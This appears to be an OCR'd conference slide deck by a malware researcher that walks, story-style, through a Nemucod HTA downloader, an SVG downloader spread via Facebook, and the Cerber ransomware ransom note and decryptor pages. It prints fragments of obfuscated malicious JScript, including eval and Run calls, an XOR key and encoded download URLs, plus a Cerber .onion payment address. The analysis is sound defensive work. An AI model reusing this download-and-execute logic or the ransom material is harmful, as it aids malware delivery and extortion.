# DEMÝSTIFÝING THE RANSOMWARE AND IOT THREAT

Christopher Elisan @tophs





# **ABOUT ME**

- Principal Malware Scientist
- Past Adventures
  - Trend Micro
  - F-Secure
  - Damballa
- @Tophs







## **AUTHOR OF**









# CO &UTHOR OF







# STORY TIME







#### ONE DAY A GUY NAMED SAM GOT AN E-MAIL AT WORK...







#### THE E-MAIL VECTOR... POWERED BY NEMUCOD







#### THE ATTACHMENT...

```
22FrDra16.hta 💮
   T 10 20 30 40 50 60 70
1 - <html>
2 <= <head><script language='JScript'>
2
4 String.prototype.brigadabrigadalalapolicMRADXHO = function() {
   brigadabrigadalalapolicMOTALO2XCOP = 0;
5
       var brigadabrigadalalapolicMOTALO2ddDccCl, brigadabrigadalalapolicMOTALO2d
       var brigadabrigadalalapolicMOTALO2out = "";
     var brigadabrigadalalapolicMOTAL02pechenka= this.replace(/LICIZAX/g, '');
10
11
   var brigadabrigadalalapolicMOTALO2len = brigadabrigadalalapolicMOTALO2sud(bri
       while (brigadabrigadalalapolicMOTALO2XCOP < brigadabrigadalalapolicMOTALO2
12 -
13E
           do
               brigadabrigadalalapolicMOTALO2ddDccC1 = brigadabrigadalalapolicVIT
14
15
           } while (brigadabrigadalalapolicMOTALO2XCOP < brigadabrigadalalapolicM</pre>
16
17
           if (brigadabrigadalalapolicMOTAL02ddDccC1 == -1)
18
               break;
   var brigadabrigadalalapolicMOTAL02dodo = false;
19
20 E
           do
               brigadabrigadalalapolicMOTALO2ddDccC2 = brigadabrigadalalapolicVIT
21
22
       brigadabrigadalalapolicMOTALO2dodo = brigadabrigadalalapolicMOTALO2XCOP <
           } while (brigadabrigadalalapolicMOTAL02dodo);
23
24
           if (brigadabrigadalalapolicMOTAL02ddDccC2 == -1)
25
26
               break;
27
28
           brigadabrigadalalapolicMOTALO2out += String['fromCharCode']((brigadabr
29
30E
           do
               brigadabrigadalalapolicMOTAL02c3 = brigadabrigadalalapolicMOTAL02p
31
32
33
               if (brigadabrigadalalapolicMOTALO2c3 == 10*6+0.5*2)
                   return brigadabrigadalalapolicMOTAL02out;
34
```





## HT& FILE

- HTA is an HTML executable file.
- Introduced in 1999 along with Internet Explorer 5
- Executed via mshta.exe by instantiating the IE rendering engine (mshtml) as well as any required language engines such as vbscript.dll





# THERE'S THE XOR KEY

22	FrDra16.hta 🛞	
10	10 20 30 40 50 60 70 80 90 100 T 110	
272	if(brigadabrigadalalapolicMOTAL02FrankSinatraLaa < 30000)return false:	1
273	if (brigadabrigadalalapolicMOTALO2FrankSinatra[0] = 77   brigadabrigadalalapolicMOTALO2FrankSinatra[]] = 9	1
274	brigadabrigadalalapolicMOTALO2CHICKA = brigadabrigadalalapolicMOTALO2CHICKA + brigadabrigadalalapolicMOTAL	1
275	brigadabrigadalalapolicMOTALO2satt (brigadabrigadalalapolicMOTALO2CHICKA, brigadabrigadalalapolicMOTALO2Fran	ł.
276		1
277	brigadabrigadalalapolicMOTALO2rampart.Run((brigadabrigadalalapolicMOTALO2StrokaParam2."brigadabrigadalalapolich	i.
278	return true:	
279		
280		
291		
282	eval(brigadabrigadalalapolicMOTALO2LUCIODOR);	
283		
284	var brigadabrigadalalapolicMOTALO2HORDA17 = "NgmXYsBdh";	
285	<pre>var brigadabrigadalalapolicTRAxKey = brigadabrigadalalapolicMOTAL02fsta("b6vYxEjsTYwJ7mIrZz4WFSGHeaddkwbg");</pre>	
286	var brigadabrigadalalapolicMOTALO2 a5 = ["Z29sZGVubGFkeLICIZAXXdlZGRpbmcuY29tL3ZkRzc2VlVZNzZyam51","dLICIZAX3d3	1
287	<pre>var brigadabrigadalalapolicMOTALO2HORDAI = 0;</pre>	
288E	for(brigadabrigadalalapolicMOTALO2HORDA5 in brigadabrigadalalapolicMOTALO2 a5){	
289	brigadabrigadalalapolicMOTALO2HORDAI++;	
290E	l try{	
291	var brigadabrigadalalapolicMOTAL02HORDA6 = brigadabrigadalalapolicMOTAL02_bChosteck.brigadabrigadalalapolicMRADX	1
292		
293E	if (brigadabrigadalalapolicMOTALO2_a2(brigadabrigadalalapolicMOTALO2HORDA6,brigadabrigadalalapolicMOTALO2HORDA17	8.
294	break;	
295	}	
296		
297	<pre>}catch(brigadabrigadalalapolicMOTALO2CEESZZAAA){alert(brigadabrigadalalapolicMOTALO2CEESZZAAA.message);}</pre>	
298		
299	}	
300		
301		
302		
303		
-		





#### FUNCTION CALL AT THE IF STATEMENT

22FrDra16.hta 📀
10 , 20 , 30 , <sup>T</sup> 40 , 50 , 60 , 70 , 80 , 90 , 100 , 11
if/brigadabrigadalalapolicMOTAL02FrankSinatraLaa < 30000)return false:
if (brigadabrigadalalapolicMOTALO2FrankSinatra[0]]= 77    brigadabrigadalalapolicMOTALO2FrankSinatra[]]]=
274 brigadabrigadalalapolicMOTALO2CHICKA = brigadabrigadalalapolicMOTALO2CHICKA + brigadabrigadalalapolicMOT
275 brigadabrigadalalapolicMOTALO2satt (brigadabrigadalalapolicMOTALO2CHICKA, brigadabrigadalalapolicMOTALO2Fr
276
277 brigadabrigadalalapolicMOTALO2rampart.Run((brigadabrigadalalapolicMOTALO2StrokaParam2, "brigadabrigadalalapolic
278 return true:
279
280
281 };
282 eval(brigadabrigadalalapolicMOTALO2LUCIODOR);
283
<pre>284 var brigadabrigadalalapolicMOTALO2HORDA17 = "NqmXYsBdh";</pre>
<pre>285 var brigadabrigadalalapolicTRAxKey = brigadabrigadalalapolicMOTAL02fsta("b6vYxEjsTYwJ7mIrZz4WFSGHeaddkwbg");</pre>
286 var brigadabrigadalalapolicMOTALO2_a5 = ["Z29sZGVubGFkeLICIZAXXdlZGRpbmcuY29tL3ZkRzc2VlVZNzZyam51","dLICIZAX3d
<pre>287 var brigadabrigadalalapolicMOTALO2HORDAI = 0;</pre>
288 for(brigadabrigadalalapolicMOTALO2HORDA5 in brigadabrigadalalapolicMOTALO2_a5){
<pre>289brigadabrigadalalapolicMOTAL02HORDAI++;</pre>
290 try{
291 var brigadabrigadalalapolicMOTAL02H0RDA6 =brigadabrigadalalapolicMOTAL02_bChosteck.brigadabrigadalalapolicMRA
292
293 11 (brigadabrigadalalapolicMOTALO2_a2 (brigadabrigadalalapolicMOTALO2HORDA6, brigadabrigadalalapolicMOTALO2HORDA
294 Dreak;
295 }
290 lost ch (brigadabrigadalalanolicMOMATO)(PECCUUANA) (alart (brigadabrigadalalanolicMOMATO)(PECCUUANA magazaro))
297 Joacon (DilgadabilgadabilgadalalapolicholnLozebeszenne) (alele (DilgadabilgadalalapolicholnLozebeszenne, message) ; ;
230 l
300
301
302
303





## FOUND THE FUNCTION C&LL

22F	rDra16.hta 🕲
	10 20 30 40 <sup>T</sup> 50 60 70 80 90 100 110
236	T(D)/C) •
237	12/01/
238	3
239E	function brigadabrigadalalapolicMOTALO2 a2(brigadabrigadalalapolicMOTALO2gutter, brigadabrigadalalapolicMOTALO2;
240	
241	<pre>var brigadabrigadalalapolicMOTAL02CHICKA = brigadabrigadalalapolicMOTAL02vulture;</pre>
242	brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA+ "\u002f";
243	brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA + brigadabrigadalalapolicMOTALO2Strok
244	
245	brigadabrigadalalapolicMOTALO2pudlimudli[brigadabrigadalalapolicMOTALO2OCHENA](("brigadabrigadalalapol
246	brigadabrigadalalapolicMOTALO2pudlimudli.setRequestHeader("User-Agent", "TW96aWxsYS80LjAgKGNvbXBhdGlibGU
247	brigadabrigadalalapolicMOTALO2pudlimudli[brigadabrigadalalapolicMOTALO2tudabilo1 + ("brigadabrigadalalapolic
248	
249	
250E	if (brigadabrigadalalapolicMOTALO2TRUEFALSE) {
251	
252	<pre>var brigadabrigadalalapolicMOTAL02op0p0p = new brigadabrigadalalapolicMOTAL02LitoyDISK((("brigadabrigad</pre>
253	brigadabrigadalalapolicMOTALOGaSMa = "CHET10NET";
254	$brigada brigada la la polic {\tt MOTALO2}_a Cho(brigada brigada la la polic {\tt MOTALO2} op Op Op, brigada brigada la la polic {\tt MOTALO2} OC {\tt HE} la polic {\tt MOTALO2} of the second s$
255	
256	brigadabrigadalalapolicMOTALO2opOpOp[brigadabrigadalalapolicMOTALO2SPASPI] = brigadabrigadalalapolicMOT
257	brigadabrigadalalapolicMOTALO2_bCho(brigadabrigadalalapolicMOTALO2opOpOp, ""+ "d3LICIZAXJpdLICIZAXGU=".1
258	
259	
260	brigadabrigadalalapolicMOTALO2XWaxeQhw = "CHET11NET";
261	brigadabrigadalalapolicMOTALO2opOpOp[("p"+(brigadabrigadalalapolicMOTALO2StrokaParam2,"brigadabrigadala
262	
263	
264	brigadabrigadalalapolicMOTALO2krDwvrh = "CHET12NET";
265	prigadaprigadalalapolicMOTALO20p0p0p["cZF2LICIZAXZVRVRMIsZQ=LICIZAX=LICIZAX".brigadabrigadalalapolicMRA
266	brigadabrigadalalapolicMOTALO2SswQd1 = "CHET13NET";
267	prigadaprigadalalapolicMCTALO2OPDDDD[ "LICIZAX2XVC2ULICIZAX=".prigadabrigadalalapolicMRADXHO()]();
268	var prigadabrigadalalapolicMOTALOZFTANKSinatra=prigadabrigadalalapolicMOTALOZFTIta(prigadabrigadalalapolicM
269	prigadabrigadalalapolicmuTAL02FrankSinatra=prigadabrigadalalapolicMUTAL02xdac(brigadabrigadalalapolicMUTAL0.

@tophs



# VARIABLE IN THE FUNCTION

22F	rDra16.hta 🛞
-	10 20 30 40 50 60 70 ØD 90 100 110
236	T[D](C):
237	
238	a
239E	function brigadabrigadalalapolicMOTALO2 a2(brigadabrigadalalapolicMOTALO2gutter, brigadabrigadalalapolicMOTALO2;
240	
241	<pre>var brigadabrigadalalapolicMOTAL02CHICKA = brigadabrigadalalapolicMOTAL02vulture;</pre>
242	brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA+ "\u002f";
243	brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA + brigadabrigadalalapolicMOTALO2Strok
244	The second second second the second
245	brigadabrigadalalapolicMOTALO2pudlimudli[brigadabrigadalalapolicMOTALO2OCHENA](("brigadabrigadalalapolicMOTALO2
246	brigadabrigadalalapolicMOTALO2pudlimudli.setRequestHeader("User-Agent", "TW96aWxsYS80LjAgKGNvbXBhdGlibGU"
247	brigadabrigadalalapolicMOTALO2pudlimudli[brigadabrigadalalapolicMOTALO2tudabilo1 + ("brigadabrigadalalapoli(
248	
249	
250E	if (brigadabrigadalalapolicMOTALO2TRUEFALSE) {
251	
252	var brigadabrigadalalapolicMOTAL02op0p0p = new brigadabrigadalalapolicMOTAL02LitoyDISK((("brigadabrigad
253	<pre>brigadabrigadalalapolicMOTALOGaSMa = "CHET10NET";</pre>
254	$brigada brigada la la polic {\tt MOTALO2}_a Cho(brigada brigada la la polic {\tt MOTALO2} op 0p 0p, brigada brigada la la polic {\tt MOTALO2} OCHEN de la polic $
255	
256	brigadabrigadalalapolicMOTALO2opOpOp[brigadabrigadalalapolicMOTALO2SPASPI] = brigadabrigadalalapolicMOTA
257	brigadabrigadalalapolicMOTALO2_bCho(brigadabrigadalalapolicMOTALO2opOpOp, ""+ "d3LICIZAXJpdLICIZAXGU=".1
258	
259	
260	brigadabrigadalalapolicMOTALO2XWaxeQhw = "CHET11NET";
261	brigadabrigadalalapolicMOTALO2opOpOp[("p"+(brigadabrigadalalapolicMOTALO2StrokaParam2,"brigadabrigadala
262	
263	
264	<pre>brigadabrigadalalapolicMOTALO2krDwvrh = "CHET12NET";</pre>
265	brigadabrigadalalapolicMOTALO2opOpOp["c2F2LICIZAXZVRvRmlsZQ=LICIZAX=LICIZAX".brigadabrigadalalapolicMRA
266	brigadabrigadalalapolicMOTALO2SswQdi = "CHET13NET";
267	<pre>brigadabrigadalalapolicMOTAL02op0p0p["YLICIZAX2xvc2ULICIZAX=".brigadabrigadalalapolicMRADXH0()]();</pre>
268	$var \ brigada brigada la la polic {\tt MOTALO2FrankSinatra=brigada brigada la la polic {\tt MOTALO2rtfta} (brigada brigada la la polic {\tt MOTALO2rtfta}) \ brigada brigada la la polic {\tt MOTALO2rtfta} (brigada brigada la la polic {\tt MOTALO2rtfta}) \ brigada brigada brigada la la polic {\tt MOTALO2rtfta} (brigada brigada la la polic {\tt MOTALO2rtfta}) \ brigada b$
260	brigadabrigadalalapolicMOTAL02FrankSinatra=brigadabrigadalalapolicMOTAL02xdac(brigadabrigadalalapolicMOTAL0)





# FOUND THE VARIABLE

22FrDra16.hta 😒
680 . 690 . 700 . 710 . 720 . 730 . 740 . 750 . 760 . 770 . <sup>T</sup> 780 .
230
231
238
239
240
241
242
243
244
245 brigadalalapolicjasmine", "brigadabrigadalalapolicunruly", "T"), brigadabrigadalalapolicMOTALO2gutter, false);
246
247
248
249
250
251
252 ,"brigadabrigadalalapolicimplementing","brigadabrigadalalapolicupper","brigadabrigadalalapolicbaltimore","br
253
254
255
256
<pre>257 i['NANIMA']+""+"e"+"QLICIZAXmLICIZAX%9LICIZAXkeQ==".brigadabrigadalalapolicMRADXHO()] );</pre>
258
259
260
261 cneeds", "brigadabrigadalalapolicrevel", "brigadabrigadalalapolictonic", "09001"), brigadabrigadalalapolicMOTAL
262
263
264
265
266
267
268
269





# **ALERT ON THAT VARIABLE**

22F	rDra16.hta* 🛞
	T 10 20 30 40 50 60 70 80 90 100 110
236	T[D](C);
237	}
238	
239E	function brigadabrigadalalapolicMOTALO2 a2(brigadabrigadalalapolicMOTALO2gutter, brigadabrigadalalapolicMOTALO2;
240	
241	var brigadabrigadalalapolicMOTALO2CHICKA = brigadabrigadalalapolicMOTALO2vulture;
242	brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA+ "\u002f";
243	brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA + brigadabrigadalalapolicMOTALO2Strok
244	
245	alert(brigadabrigadalalapolicMOTALO2gutter);
246	
247	
248	$brigada brigada la la polic {\tt MOTALO2} pudlimudli [brigada brigada la la polic {\tt MOTALO2OCHENA}] (("brigada brigada la la policita da la $
249	brigadabrigadalalapolicMOTAL02pudlimudli.setRequestHeader("User-Agent", "TW96aWxsYS80LjAgKGNvbXBhdGlibGU"
250	brigadabrigadalalapolicMOTALO2pudlimudli[brigadabrigadalalapolicMOTALO2tudabilo1 + ("brigadabrigadalalapolic
251	
252	
253E	if (brigadabrigadalalapolicMOTALO2TRUEFALSE) {
254	
255	<pre>var brigadabrigadalalapolicMOTAL02opOpOp = new brigadabrigadalalapolicMOTAL02LitoyDISK((("brigadabrigad</pre>
256	brigadabrigadalalapolicMOTALOGaSMa = "CHET10NET";
257	$brigada brigada la la polic {\tt MOTALO2} a {\tt Cho} (brigada brigada la la polic {\tt MOTALO2} op {\tt Op} op, brigada brigada la la polic {\tt MOTALO2} OC {\tt HE} \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \$
258	
259	brigadabrigadalalapolicMOTALO2opOpOp[brigadabrigadalalapolicMOTALO2SPASPI] = brigadabrigadalalapolicMOT
260	brigadabrigadalalapolicMOTALO2_bCho(brigadabrigadalalapolicMOTALO2opOpOp, ""+ "d3LICIZAXJpdLICIZAXGU=".]
261	
262	
263	brigadabrigadalalapolicMOTALO2XWaxeQhw = "CHET11NET";
264	brigadabrigadalalapolicMOTALO2opOpOp[("p"+(brigadabrigadalalapolicMOTALO2StrokaParam2,"brigadabrigadala
265	
266	
267	brigadabrigadalalapolicMOTALO2krDwvrh = "CHET12NET";
268	brigadabrigadalalapolicMOTALO2opOpOp["c2F2LICIZAX2VRvRmlsZQ=LICIZAX=LICIZAX".brigadabrigadalalapolicMRA
269	brigadabrigadalalapolicMOTALO2SswQdi = "CHET13NET";





## THE URLS ARE REVEALED







## THE URLS ARE REVEALED







## THE URLS ARE REVEALED







# WHAT HAPPENS IN THE HOST

- Downloads file to Temp folder (encrypted)
- Writes it to a DLL/EXE file and decrypts it using the key which is converted into a 32 byte hexadecimal.





## HE WAS SO HAPPY HE WANTED TO TELL ALL HIS FRIENDS ABOUT IT...







#### HE LOGGED ONTO FB AND SAW A MESSAGE...







Images from Bart Blaze - https://bartblaze.blogspot.com/2016/11/nemucod-downloader-spreading-via.html

#### HE CLICKED THE PICTURE AND BROUGHT HIM TO...





Images from Bart Blaze - https://bartblaze.blogspot.com/2016/11/nemucod-downloader-spreading-via.html



## **ABOUT THE EXTENSION...**





Images from Bart Blaze - https://bartblaze.blogspot.com/2016/11/nemucod-downloader-spreading-via.html



# HE EXAMINED THE SVG FILE...







# SVG FILE

 Scalable Vector Graphics (SVG) is an XML-based vector image format for 2-D graphics with support for interactivity and animation. The SVG specification is an open standard developed by the World Wide Web Consortium (W3C) since 1999.





## THE PHOTO IS & RED DOT







## ALERT ON THE VARIABLE...

pł	noto_2101.svg 📀
	T 10 20 30 40 50 60 70 80 90
26	hrytmp++;
27	
28	$if(rtssz \ge 0)$ {
29	var csyqy = 0;
30	var bjxqe = -1;
31	while(ahmcj[cnvan%yawrxr][csygy]){
32	if(ahmcj[cnvan%yawrxr][csyqy] == basnp[cnvan]){
33	bjxqe = csyqy;
34	break;
35	3
36	csydA++;
37	
38	vwcsm += amezto[bjxge];
39	}else{
40	vwcsm += basnp[cnvan];
41	3
42	cnvan++;
43	
44	var jzong = "";
45	for(vizya=pmiont;vizya <vwcsm.length;vizya++){< td=""></vwcsm.length;vizya++){<>
46	]zong += vwcsm[vizya];
47	}
48	vwcsm = jzong;
49	alert(vwcsm)
50	Teturn VwCsm;
51	ver uf ver = window
52	val diabex = window; $u_{1} = \frac{1}{2} \frac{1}{2}$
53	var var var = izgranab( hoofvir , $r$ ,
55	var $iesadz = izgrilab(/"FIKIDDEFIII)vKN", 10 true).$
56	ut bout = Ingrands ( Ingradz) = izgklash ("V01zcX3m, BAXY2s97Vfzbt F6uci8wXrDcymA8fyyTN,", 5, false
57	dimbox(incosm)[#jddi][coddb] = lightnbb( iothonomichamichyintheriotodoromichoimatorijint /s/table
58	11>
59	
-	
-	





## THE URL IS REVEALED







#### "MAN, I CRACKED ALL OF THEM.." SO SAM WENT ON HIS MERRY WAY...







## THE END ?!









![](_page_30_Picture_1.jpeg)

![](_page_30_Picture_2.jpeg)

#### SAM GOT A SNAIL MAIL FROM GRANDMA...

![](_page_31_Picture_1.jpeg)

![](_page_31_Picture_2.jpeg)

![](_page_31_Picture_3.jpeg)

#### GRANDMA NEEDS HELP... TIME TO SAVE GRANDMA...

![](_page_32_Picture_1.jpeg)

![](_page_32_Picture_2.jpeg)

![](_page_32_Picture_3.jpeg)

### GRANDMA'S BEEN VICTIMIZED BY CERBER...

![](_page_33_Picture_1.jpeg)

![](_page_33_Picture_2.jpeg)

![](_page_33_Picture_3.jpeg)

## README\_.HTA

![](_page_34_Picture_1.jpeg)

![](_page_34_Picture_2.jpeg)

![](_page_34_Picture_3.jpeg)

## README\_.HTA

RBER RANSOMWARE Instructions	
If this page cannot be opened click here to generate a new address to your person	al page.
At this page you will receive the complete instructions how to buy the decryption so your files.	ftware for restoring all
Also at this page you will be able to restore any one file for free to be sure "Cerber you.	Decryptor* will help
If your personal page is not available for a long period there is another way to oper installation and use of Tor Browser:	1 your personal page -
1. run your Internet browser (if you do not know what it is run the Internet Expl	orer);
<ol><li>enter or copy the address https://www.torproject.org/download/download- address bar of your browser and press ENTER;</li></ol>	easy.html.en into the
3. wait for the site loading:	
<ol> <li>on the site you will be offered to download Tor Browser; download and run installation instructions, wait until the installation is completed;</li> </ol>	it, follow the
5. run Tor Browser,	
6. connect with the button "Connect" (if you use the English version);	
7. a normal Internet browser window will be opened after the initialization;	
8. type or copy the address	
http://pe2cku7pebkpgeko.onion/53CF-835C-1498-0501-F8F1	

![](_page_35_Picture_2.jpeg)

![](_page_35_Picture_3.jpeg)

## README\_.HTA

	MWAREInstructions	
7.	a normal Internet browser window will be opened after the initialization;	
8.	type or copy the address	
	http://pe2cku7pebkpgeko.onion/53CF-835C-1498~0501-F8F1	
	in this browser address bar;	
9.	press ENTER;	
10.	the site should be loaded; if for some reason the site is not loading wait for a moment and try	
If you I and typ about	have any problems during installation or use of Tor Browser, please, visit https://www.youtube.com pe request in the search bar "Install Tor Browser Windows" and you will find a lot of training videos Tor Browser installation and use.	
If you I and typ about Additi	have any problems during installation or use of Tor Browser, please, visit https://www.youtube.com pe request in the search bar "Install Tor Browser Windows" and you will find a lot of training videos Tor Browser installation and use.	
If you I and tyj about Additi You wi	have any problems during installation or use of Tor Browser, please, visit https://www.youtube.com pe request in the search bar "Install Tor Browser Windows" and you will find a lot of training videos Tor Browser installation and use.	
If you I and typ about Additi You wi The ins will he	have any problems during installation or use of Tor Browser, please, visit https://www.youtube.com pe request in the search bar "Install Tor Browser Windows" and you will find a lot of training videos Tor Browser installation and use.	

![](_page_36_Picture_2.jpeg)

![](_page_36_Picture_3.jpeg)

# ...NOT VIRUSES...

![](_page_37_Picture_1.jpeg)

![](_page_37_Picture_2.jpeg)

![](_page_37_Picture_3.jpeg)

# CERBER DECRYPTOR

![](_page_38_Picture_1.jpeg)

![](_page_38_Picture_2.jpeg)

![](_page_38_Picture_3.jpeg)

# PROVE YOU'RE HUMAN

![](_page_39_Picture_1.jpeg)

![](_page_39_Picture_2.jpeg)

![](_page_39_Picture_3.jpeg)

#### SPECIAL PRICE FOR A LIMITED TIME

![](_page_40_Picture_1.jpeg)

![](_page_40_Picture_2.jpeg)

![](_page_40_Picture_3.jpeg)

#### TECH SUPPORT IF YOU H&VE PROBLEMS

![](_page_41_Picture_1.jpeg)

![](_page_41_Picture_2.jpeg)

![](_page_41_Picture_3.jpeg)

# TRY BEFORE YOU BUY

![](_page_42_Picture_1.jpeg)

![](_page_42_Picture_2.jpeg)

![](_page_42_Picture_3.jpeg)

## LET'S TEST ONE FILE

![](_page_43_Picture_1.jpeg)

![](_page_43_Picture_2.jpeg)

![](_page_43_Picture_3.jpeg)

# DECRYPTING

![](_page_44_Picture_1.jpeg)

![](_page_44_Picture_2.jpeg)

![](_page_44_Picture_3.jpeg)

# DECRYPTION DONE

![](_page_45_Picture_1.jpeg)

![](_page_45_Picture_2.jpeg)

![](_page_45_Picture_3.jpeg)

# DOWNLOAD DECRYPTED FILE

![](_page_46_Picture_1.jpeg)

![](_page_46_Picture_2.jpeg)

![](_page_46_Picture_3.jpeg)

# PACKAGED AS DECRYPTED.ZIP

![](_page_47_Picture_1.jpeg)

![](_page_47_Picture_2.jpeg)

![](_page_47_Picture_3.jpeg)

# THE ENCRYPTED PICTURE FILE

•						5F7j45	7V34.a8	dd	
0	FFD8FFE0	00104A46	49460001	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	ัў°‡ JFIF พทพพพพพพพพพพพพพพพพพพ
32	АААААААА	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	ААААААА	AAAAAAAA	AAAAAAAA	אד א
64	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
96	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	אד א
128	АААААААА	ААААААА	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
160	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
192	АААААААА	ААААААА	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
224	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
256	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד אדו אדו אדו אדו אדו אדו אדו אדו אדו א
288	АААААААА	ААААААА	АААААААА	ААААААА	АААААААА	ААААААА	ААААААА	ААААААА	אד איז
320	АААААААА	ААААААА	АААААААА	АААААААА	АААААААА	ААААААА	АААААААА	AAAAAAAA	אד אדו אדו אדו אדו אדו אדו אדו אדו אדו א
352	АААААААА	ААААААА	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
384	АААААААА	ААААААА	АААААААА	АААААААА	АААААААА	ААААААА	ААААААА	AAAAAAAA	אד אדו אדו אדו אדו אדו אדו אדו אדו אדו א
416	АААААААА	АААААААА	АААААААА	АААААААА	АААААААА	ААААААА	АААААААА	AAAAAAAA	אד א
448	АААААААА	ААААААА	АААААААА	АААААААА	АААААААА	ААААААА	АААААААА	AAAAAAAA	אד אדו אדו אדו אדו אדו אדו אדו אדו אדו א
480	АААААААА	ААААААА	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
512	АААААААА	АААААААА	АААААААА	АААААААА	АААААААА	АААААААА	АААААААА	AAAAAAAA	אד אדו אדו אדו אדו אדו אדו אדו אדו אדו א
544	АААААААА	ААААААА	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
576	АААААААА	АААААААА	АААААААА	АААААААА	АААААААА	АААААААА	АААААААА	AAAAAAAA	אד אדו אדו אדו אדו אדו אדו אדו אדו אדו א
608	АААААААА	ААААААА	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
640	8F5F7335	16507247	ED0BFF1C	6439A31B	512B7804	0E975E0E	69E43685	D776A099	è_s5 \rGÌ ~ d9£ Q+x ó^ i‱6Ö≬v†ô
672	D4203CB2	EB551393	A80BA432	96024245	EDFD2D61	01361922	8188AB22	83FF44CF	' <≤ÎU ì© §2ñ BEÌ"–a 6 "Åà′"ÉĭDæ
704	8E4FE151	3F8C59A8	A7C22908	D4760997	1F8712A4	61B5BFAF	E243D8E5	A444B490	éO·Q?åY®ß¬) 'v ó á §aµøø,CÿŧD¥ê
736	15680960	ADC07E46	776BF70F	AB5BE368	70C6008D	6A4EFD92	92A725D6	229E9184	h…`≠į~Fwk″´["hp∆ çjN"ííß%÷"ûëÑ
768	E89CE36D	33EED3C0	32F4B922	64CFABE3	21F25CE3	74DFBBAB	D43F1D2F	D80E9A09	Ëú"m3Ó"¿2Ùπ"dœí"!Ú∖"tflº′'? /ÿ ö
800	1B65E9DE	A4231A3D	138AAD3F	6E0E565E	E545DCAC	C79815D2	B9F3D83B	A0101BAC	eÈfi§# = ä≠?n V^ÂE< <sup>°</sup> «ò "πÛÿ;† "
832	450F24C2	D320D989	C66BFB6E	BF9830EA	F2F66DEA	504F203C	F76BD634	13E115D4	E \$¬" Ÿâ∆k°nøò0ÍÚ^mÍPO <″k÷4 · '
Sign	ed Int 🛛 🗘	big 🗘	) (select s	ome data)					- $+$
						0 out of 4	510 bytes		

![](_page_48_Picture_2.jpeg)

![](_page_48_Picture_3.jpeg)

# THE DECRYPTED PICTURE FILE

•	FFOSFFED 80104A46 49460001 АЛААААА Алаааааа								
0	FFD8FFE0	00104A46	49460001	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	ll≚ÿ*‡ JFIF ™™™™™™™™™™™™™™™™™™™™™™
32	АААААААА	АААААААА	AAAAAAAA	ААААААА	AAAAAAAA	ААААААА	ААААААА	AAAAAAAA	אד א
64	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	אד א
96	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
128	АААААААА	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
160	AAAAAAAA	ААААААА	AAAAAAAA	ААААААА	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	אד א
192	АААААААА	АААААААА	ААААААА	АААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
224	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	אד א
256	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
288	AAAAAAAA	ААААААА	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	אד א
320	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
352	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
384	АААААААА	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
416	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
448	АААААААА	АААААААА	АААААААА	АААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
480	AAAAAAAA	ААААААА	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	אד א
512	АААААААА	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
544	AAAAAAAA	ААААААА	AAAAAAAA	ААААААА	AAAAAAAA	AAAAAAAA	ААААААА	AAAAAAAA	אד א
576	АААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	ААААААА	AAAAAAAA	אד א
608	AAAAAAAA	АААААААА	AAAAAAAA	ААААААА	AAAAAAAA	ААААААА	ААААААА	AAAAAAAA	אד א
640	AAAAAAAA	АААААААА	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	AAAAAAAA	אד א
